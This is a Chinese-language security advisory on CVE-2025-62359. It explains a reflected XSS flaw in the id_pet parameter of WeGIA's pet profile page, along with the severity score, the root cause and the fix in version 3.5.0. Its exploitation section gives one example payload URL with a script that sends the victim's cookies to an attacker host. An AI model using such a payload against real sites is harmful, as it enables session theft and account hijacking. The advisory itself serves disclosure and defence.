CVE-2025-62359CVE-2025-62359是WeGIA开源Web管理系统(主要面向葡萄牙语用户)中存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞存在于WeGIA应用程序的/pet/profile_pet.php?id_pet=端点中,攻击者可以通过精心构造的id_pet参数注入恶意JavaScript脚本。由于该端点未对用户输入进行充分的过滤和转义处理,恶意脚本会在受害者的浏览器中执行。该漏洞的CVSS 3.1评分为6.1,属于中危级别。攻击向量为网络(AV:N),无需认证(PR:N),但需要用户交互(UI:R),影响范围为变更(S:C),对机密性和完整性具有低影响,对可用性无影响。该漏洞由GitHub安全顾问团队([email protected])发现并报告,披露日期为2025年10月13日。WeGIA开发团队已在3.5.0版本中修复了该漏洞,建议所有使用受影响版本的用户尽快升级以消除安全隐患。
该漏洞位于WeGIA应用程序的/pet/profile_pet.php文件中,具体出现在id_pet查询参数的处理逻辑中。技术原理如下:
1. **输入点**:应用程序通过GET请求的id_pet参数接收用户输入,用于查询和展示特定宠物的档案信息。
2. **漏洞根源**:在将id_pet参数的值输出到HTML响应页面时,应用程序未对该参数进行适当的HTML实体编码或过滤处理,导致攻击者可以注入任意的HTML标签和JavaScript代码。
3. **利用方式**:攻击者可以构造一个包含恶意JavaScript代码的URL,例如:
`https://target/pet/profile_pet.php?id_pet=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`
当受害者点击或访问此URL时,恶意脚本将在受害者的浏览器上下文中执行。
4. **影响范围**:由于是反射型XSS,恶意脚本仅在用户点击特制链接时执行,不会持久化存储。攻击者可利用此漏洞窃取用户会话Cookie、进行钓鱼攻击、劫持用户会话或执行其他恶意操作。
5. **修复方案**:WeGIA在3.5.0版本中通过在输出前对id_pet参数进行HTML实体编码或使用白名单过滤的方式修复了该漏洞。